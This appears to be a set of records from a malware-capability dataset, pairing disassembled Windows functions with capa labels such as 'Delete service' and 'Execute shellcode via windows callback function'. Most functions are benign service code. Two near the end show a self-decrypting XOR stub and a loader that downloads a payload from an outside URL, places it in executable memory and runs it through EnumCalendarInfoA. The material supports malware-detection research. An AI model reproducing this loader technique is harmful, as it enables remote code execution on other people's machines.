joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006710
Capabilities:
Delete service

Disassembly:
mov r11, rsp
push rsi
push rdi
push r14
sub rsp, 0x60
mov qword [r11 - 0x58], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov rax, qword [0x1400af3a8]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, rcx
lea r8, str.CVdsServiceModule::Uninstall__
mov edx, 0x5e
lea rcx, [r11 - 0x50]
call qword [sym.imp.vdsutil.dll_public:_void___cdecl_CVdsCallTracer::constructor_unsigned_long_int__char_const____ptr64____ptr64]
nop dword [rax + rax]
nop
mov rcx, rsi
call fcn.140005ba4
mov edi, 1
cmp eax, edi
je 0x140006841
test eax, eax
js 0x14000683f
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_OpenSCManagerW]
nop dword [rax + rax]
mov rbp, rax
test rax, rax
jne 0x14000679d
lea edx, [rdi + 0x67]
jmp 0x140006831
mov r8d, 0x10020
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_OpenServiceW]
nop dword [rax + rax]
mov r14, rax
test rax, rax
jne 0x1400067d2
mov rcx, rbp
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_CloseServiceHandle]
nop dword [rax + rax]
lea edx, [r14 + 0x6a]
jmp 0x140006831
lea r8, [rsp + 0x38]
mov edx, edi
mov rcx, r14
call qword [sym.imp.api_ms_win_service_winsvc_l1_1_0.dll_ControlService]
nop dword [rax + rax]
mov rcx, r14
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_DeleteService]
nop dword [rax + rax]
mov ebx, eax
mov rcx, r14
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_CloseServiceHandle]
nop dword [rax + rax]
mov rcx, rbp
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_CloseServiceHandle]
nop dword [rax + rax]
lea rcx, [0x140065d88]
call qword [sym.imp.vdsutil.dll_RemoveEventSource]
nop dword [rax + rax]
test ebx, ebx
jne 0x140006841
lea edx, [rbx + 0x6b]
mov r8d, reloc.ATL.DLL_AtlModuleInit
mov rcx, rsi
call fcn.140005c94
xor edi, edi
lea rcx, [rsp + 0x28]
call qword [sym.imp.vdsutil.dll_public:_void___cdecl_CVdsCallTracer::destructor_void____ptr64]
nop dword [rax + rax]
mov eax, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14005ca30
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140007190
Capabilities:
Block operations on executable memory pages using arbitrary code guard

Disassembly:
push rsi
sub rsp, 0x30
mov esi, 4
mov dword [rsp + 0x40], 1
mov r8d, esi
lea rdx, [rsp + 0x40]
lea ecx, [rsi - 2]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_1.dll_SetProcessMitigationPolicy]
nop dword [rax + rax]
mov r8d, esi
mov dword [rsp + 0x48], 1
lea rdx, [rsp + 0x48]
lea ecx, [rsi + 5]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_1.dll_SetProcessMitigationPolicy]
nop dword [rax + rax]
mov r8d, esi
mov dword [rsp + 0x50], 3
lea rdx, [rsp + 0x50]
lea ecx, [rsi + 6]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_1.dll_SetProcessMitigationPolicy]
nop dword [rax + rax]
lea ecx, [rsi + 4]
mov r8d, esi
lea rdx, [rsp + 0x58]
mov dword [rsp + 0x58], ecx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_1.dll_SetProcessMitigationPolicy]
nop dword [rax + rax]
mov r8d, esi
mov dword [rsp + 0x20], 2
lea rdx, [rsp + 0x20]
lea ecx, [rsi + 9]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_1.dll_SetProcessMitigationPolicy]
nop dword [rax + rax]
add rsp, 0x30
pop rsi
ret
Function at 0x1400180a0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbx, rcx
lea r8, str.CVdsService::AddNetworkShare__
mov edx, 0x5e
lea rcx, [rsp + 0x28]
call qword [sym.imp.vdsutil.dll_public:_void___cdecl_CVdsCallTracer::constructor_unsigned_long_int__char_const____ptr64____ptr64]
nop dword [rax + rax]
nop
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetDriveTypeW]
nop dword [rax + rax]
mov edx, 3
cmp eax, edx
je 0x140018120
mov r9d, eax
lea r8, str.CVdsService::AddNetworkShare:_Skipping_NetShareAdd__:_GetDriveType_____u
lea ecx, [rdx + 0x5b]
call qword [sym.imp.vdsutil.dll_VdsTraceEx]
nop dword [rax + rax]
mov ebx, 1
lea rcx, [rsp + 0x28]
call qword [sym.imp.vdsutil.dll_public:_void___cdecl_CVdsCallTracer::destructor_void____ptr64]
nop dword [rax + rax]
mov eax, ebx
add rsp, 0x40
pop rbx
ret
movzx ecx, word [rbx]
mov rax, qword [0x1400b0040]
mov word [rax], cx
movzx ecx, word [rbx]
mov rax, qword [0x1400b0068]
mov word [rax], cx
xor r9d, r9d
lea r8, [0x1400b0040]
mov edx, 0x1f6
xor ecx, ecx
call qword [sym.imp.srvcli.dll_NetShareAdd]
nop dword [rax + rax]
test eax, eax
je 0x140018101
mov r9d, 0x846
lea r8, str.CVdsService::AddNetworkShare:_NetShareAdd___failed:__ld
mov ecx, 0x5e
cmp eax, r9d
jne 0x140018183
lea edx, [rcx - 0x5d]
call qword [sym.imp.vdsutil.dll_VdsTraceEx]
nop dword [rax + rax]
jmp 0x140018194
mov r9d, eax
xor edx, edx
call qword [sym.imp.vdsutil.dll_VdsTraceEx]
nop dword [rax + rax]
xor ebx, ebx
jmp 0x140018106
Function at 0x1400272d0
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1400af3a8]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov r15, rdx
and qword [rdx], 0
xor r14d, r14d
mov r8, rcx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.14000b48c
lea r8, [0x140067420]
lea rcx, [rsp + 0x40]
call fcn.140027c84
lea r8, [rsp + 0x40]
xor edx, edx
mov esi, 0x1f0003
mov ecx, esi
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
nop dword [rax + rax]
mov rdi, rax
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x1400273bb
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
cmp eax, 2
jne 0x1400273a3
mov qword [r15], r14
xor eax, eax
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.14005ca30
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rcx, qword [rbp + 0x178]
mov edx, 0xc9
call fcn.14000cdec
mov ebx, eax
jmp 0x14002749b
and dword [rsp + 0x24], 0
and dword [rsp + 0x20], 0
lea rdx, [rsp + 0x24]
mov rcx, rdi
call fcn.14000e408
mov ebx, eax
test eax, eax
jns 0x1400273fa
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xcf
call fcn.14000cdb0
nop
mov rcx, rdi
call fcn.14000e05c
jmp 0x14002749b
lea r8, [0x140067428]
lea rcx, [rsp + 0x40]
call fcn.140027c84
lea r8, [rsp + 0x40]
xor edx, edx
mov ecx, esi
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
nop dword [rax + rax]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140027442
mov rcx, qword [rbp + 0x178]
mov edx, 0xd5
call fcn.14000cdec
mov ebx, eax
jmp 0x1400273ed
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.14000e408
mov ebx, eax
test eax, eax
jns 0x140027478
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xd7
call fcn.14000cdb0
nop
mov rcx, rsi
call fcn.14000e05c
nop
jmp 0x1400273ed
mov rcx, rsi
call fcn.14000e05c
movsxd rax, dword [rsp + 0x20]
shl rax, 0x1f
movsxd r14, dword [rsp + 0x24]
or r14, rax
mov rcx, rdi
call fcn.14000e05c
xor ebx, ebx
test ebx, ebx
jns 0x140027371
mov rcx, qword [rbp + 0x178]
mov r9d, ebx
mov edx, 0x62
call fcn.14000cdb0
mov eax, ebx
jmp 0x140027376
Function at 0x14005b7cc
Capabilities:
Read file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x1400af3a8]
xor rax, rsp
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
lea rdx, [r11 - 0x48]
xor eax, eax
xor edi, edi
movups xmmword [rsp + 0x50], xmm0
mov qword [r11 - 0x28], rax
mov rbp, rcx
mov dword [rsp + 0x44], edi
mov dword [rsp + 0x40], edi
call fcn.14005bf20
test eax, eax
je 0x14005b825
cmp dword [rsp + 0x40], edi
sete dil
mov ebx, edi
jmp 0x14005b9d7
mov qword [rsp + 0x30], rdi
mov r8d, 3
mov dword [rsp + 0x28], 0x20000000
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], r8d
mov rcx, rbp
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_CreateFileW]
nop dword [rax + rax]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14005b87c
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x14005b9d7
mov rcx, rsi
call fcn.14005b6a4
mov ebx, eax
test eax, eax
je 0x14005b9c8
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], AtlComPtrAssign
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x70000
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_io_l1_1_0.dll_DeviceIoControl]
nop dword [rax + rax]
test eax, eax
jne 0x14005b8ec
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x14005b9c8
mov ebx, dword [rsp + 0x64]
xor ecx, ecx
add ebx, 0x1ff
mov r8d, 0x3000
and ebx, 0xfffffe00
mov edx, ebx
lea r9d, [rcx + 4]
call qword [sym.imp.api_ms_win_core_memory_l1_1_0.dll_VirtualAlloc]
nop dword [rax + rax]
mov r14, rax
test rax, rax
je 0x14005b8cd
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rdi
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_ReadFile]
nop dword [rax + rax]
test eax, eax
jne 0x14005b96c
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
cmp ebx, 0x80310000
jne 0x14005b9b1
mov ebx, edi
mov edx, 1
jmp 0x14005b9a9
mov edx, dword [rsp + 0x44]
xor r8d, r8d
mov rcx, r14
call fcn.14005c3f8
lea ecx, [rax - 2]
cmp ecx, 1
jbe 0x14005b99b
cmp eax, 1
jne 0x14005b994
mov rcx, rsi
call fcn.14005b2fc
mov ebx, eax
jmp 0x14005b99d
mov ebx, 1
jmp 0x14005b9a1
mov ebx, edi
test ebx, ebx
js 0x14005b9b1
test ebx, ebx
sete dil
mov edx, edi
mov rcx, rbp
call fcn.14005c02c
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.api_ms_win_core_memory_l1_1_0.dll_VirtualFree]
nop dword [rax + rax]
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
mov eax, ebx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14005ca30
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x14005ba04
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x40
xor ebx, ebx
mov dword [rsp + 0x58], 4
cmp dword [0x1400b0768], ebx
mov dword [rsp + 0x50], ebx
jne 0x14005ba88
lea rax, [r11 + 0x10]
mov r9d, 0x20000010
mov qword [r11 - 0x18], rax
lea r8, str.CacheDisable
lea rax, [r11 + 8]
mov rcx, 0xffffffff80000002
mov qword [r11 - 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionFveDetect
mov qword [r11 - 0x28], rbx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegGetValueW]
nop dword [rax + rax]
test eax, 0xfffffffc
jne 0x14005ba88
cmp eax, 1
je 0x14005ba88
mov eax, dword [0x1400af890]
cmp dword [rsp + 0x50], ebx
mov dword [0x1400b0768], 1
cmovne eax, ebx
mov dword [0x1400af890], eax
jmp 0x14005ba8e
mov eax, dword [0x1400af890]
add rsp, 0x40
pop rbx
ret

Function at 0x14005bf20
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebx, ebx
mov dword [rax + 0x18], 4
mov qword [rax + 0x20], rbx
mov r14, rdx
mov dword [rax + 8], ebx
mov rdi, rcx
mov esi, ebx
test rcx, rcx
je 0x14005bfe3
test rdx, rdx
je 0x14005bfe3
mov dword [rdx], ebx
call fcn.14005ba04
test eax, eax
jne 0x14005bf6c
lea edi, [rbx + 1]
jmp 0x14005c00d
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.14005ba9c
mov rsi, qword [rsp + 0x78]
mov edi, eax
test eax, eax
js 0x14005bfe8
lea rax, [rsp + 0x70]
mov r9d, reloc.ATL.DLL_AtlModuleInit
mov qword [rsp + 0x30], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionFveDetectCache
lea rax, [rsp + 0x60]
mov r8, rsi
mov qword [rsp + 0x28], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rbx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegGetValueW]
nop dword [rax + rax]
test eax, eax
je 0x14005bfd4
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
jmp 0x14005bfe8
cmp dword [rsp + 0x60], ebx
je 0x14005bfe8
mov dword [r14], 1
jmp 0x14005bfe8
mov edi, 0x80070057
test rsi, rsi
je 0x14005c00d
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop dword [rax + rax]
test edi, edi
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x14005c02c
Capabilities:
Set registry value

Disassembly:
push rbp
push rbx
mov rbp, rsp
sub rsp, 0x58
and qword [rbp + 0x28], 0
xor eax, eax
and qword [rbp + 0x18], 0
mov rbx, rcx
and qword [rbp + 0x30], 0
test edx, edx
setne al
mov dword [rbp + 0x20], eax
test rcx, rcx
je 0x14005c188
call fcn.14005ba04
test eax, eax
je 0x14005c159
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.14005ba9c
mov rbx, qword [rbp + 0x30]
test eax, eax
js 0x14005c134
and qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionFveDetect
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCreateKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x14005c134
and qword [rsp + 0x40], 0
lea rax, [rbp + 0x18]
mov rcx, qword [rbp + 0x28]
lea rdx, str.Cache
mov qword [rsp + 0x38], rax
xor r9d, r9d
and qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 1
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCreateKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x14005c134
mov rcx, qword [rbp + 0x18]
lea r9d, [rax + 4]
lea rax, [rbp + 0x20]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
nop dword [rax + rax]
test rbx, rbx
je 0x14005c159
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop dword [rax + rax]
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x14005c173
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
and qword [rbp + 0x18], 0
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14005c188
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x14005c790
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x1400b0840], rbx
je 0x14005c7f7
cmp rax, rbx
jne 0x14005c7ea
mov ebx, 1
mov esi, ebx
jmp 0x14005c7fc
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14005c7cf
mov ebx, 1
mov eax, dword [0x1400b0848]
cmp eax, ebx
jne 0x14005c814
mov edi, AtlInternalQueryInterface
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14005c880
mov eax, dword [0x1400b0848]
test eax, eax
jne 0x14005c875
mov dword [0x1400b0848], ebx
lea r15, [0x140063ef0]
lea rdi, [0x140063ed8]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14005c867
test eax, eax
jne 0x14005c86b
cmp qword [rdi], r14
je 0x14005c85c
mov rax, qword [rdi]
mov rcx, qword [0x140063e08]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14005c83e
test eax, eax
je 0x14005c87b
mov eax, 0xff
jmp 0x14005c9d6
mov dword [0x1400af8a4], ebx
mov edi, AtlInternalQueryInterface
mov eax, dword [0x1400b0848]
cmp eax, ebx
jne 0x14005c8a7
lea rdx, [0x140063ed0]
lea rcx, [0x140063e10]
call sub.msvcrt.dll__initterm
mov dword [0x1400b0848], 2
test esi, esi
jne 0x14005c8b5
mov rax, r14
xchg qword [0x1400b0840], rax
cmp qword [0x1400b0860], r14
je 0x14005c8e8
lea rcx, [0x1400b0860]
call fcn.14005cfe0
test eax, eax
je 0x14005c8e8
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x1400b0860]
mov r9, qword [0x140063e08]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14005c901
mov eax, 0xff
jmp 0x14005c9d6
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14005c987
test ax, ax
je 0x14005c91c
test edx, edx
jne 0x14005c987
sub ax, bx
cmp ax, di
ja 0x14005c932
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14005c91c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140007240
mov dword [0x1400af8a0], eax
cmp dword [0x1400af8c0], r14d
jne 0x14005c970
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400af8a4], r14d
jne 0x14005c985
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400af8a0]
jmp 0x14005c9d6
cmp ax, 0x22
jne 0x14005c99b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14005c90a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140143000
add rsp, 0x28
jmp 0x14005c790
Function at 0x14005cecc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14005cf18
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14005cf10
cmp dword [rcx + 0x3c], edx
jl 0x14005cf10
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14005cf10
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14005cf18
mov rax, rdx
add rsp, 0x18
ret
Function at 0x1400010d4
Capabilities:
Encode data using xor

Disassembly:
jge 0x1400010ba
pop rdi
int1
call 0xf40778bf
sub esp, ebx
fabs
xchg edx, eax
push rsp
invalid
xchg byte [rax + 0x2d729344], al
mov esi, 0x422c5924
and eax, 0x1986ea91
enter 0x5c43, 0x46
cmp esp, dword [rbp + 0xa62643e]
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov ecx, 0x3f
lea rdx, [entry0]
xor byte [rcx + rdx], 0xb7
inc rcx
cmp rcx, 0x2d1
jl 0x1400010fc
dec dword [rdi]
or byte [rdi - 0x54c84bb7], al
jrcxz 0x14000109f
dec byte [rbx]
call 0x1027be14d
xor eax, 0x70f23eff
dec byte [rdx]
fisttp dword [rbp + 0x14]
invalid
Function at 0x1400011f0
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0xdbbf0
call fcn.1400a5e00
sub rsp, rax
mov rax, qword [0x1400cc008]
xor rax, rsp
mov qword [rsp + 0xdbbe0], rax
xor ebx, ebx
lea rcx, str.User_Agent
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea edx, [rbx + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], rbx
lea rdx, str.http:__4asd_dowasdas124ad
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rsi, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
je 0x140001378
lea r9, [rsp + 0x30]
mov r8d, 0xdbba0
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001378
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [rsp + 0x30]
call fcn.140001430
mov rdi, rax
mov eax, dword [rsp + 0x30]
mov r8d, eax
test eax, eax
je 0x1400012d8
lea rdx, [rsp + 0x40]
mov rcx, rdi
sub rdx, rdi
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc ebx
mov byte [rcx], al
lea rcx, [rcx + 1]
movsxd rax, ebx
cmp rax, r8
jb 0x1400012c0
mov eax, dword [rsp + 0x30]
xor ecx, ecx
mov edx, eax
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
mov rdx, rdi
mov eax, dword [rsp + 0x30]
cmp r10, rdi
jbe 0x140001336
lea r8, [rax + rdi]
cmp r10, r8
jae 0x140001336
lea rdx, [rax - 1]
add rdx, r10
dec r8
test rax, rax
je 0x140001352
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8]
lea r8, [r8 - 1]
mov byte [rdx], cl
lea rdx, [rdx - 1]
sub rax, 1
jne 0x140001320
jmp 0x140001352
test rax, rax
je 0x140001352
mov r8, r10
sub r8, rdi
movzx ecx, byte [rdx]
mov byte [r8 + rdx], cl
lea rdx, [rdx + 1]
sub rax, 1
jne 0x140001341
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov rcx, rdi
call fcn.140001410
xor eax, eax
jmp 0x14000137d
mov eax, 1
mov rcx, qword [rsp + 0xdbbe0]
xor rcx, rsp
call fcn.1400013e0
lea r11, [rsp + 0xdbbf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140071220
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret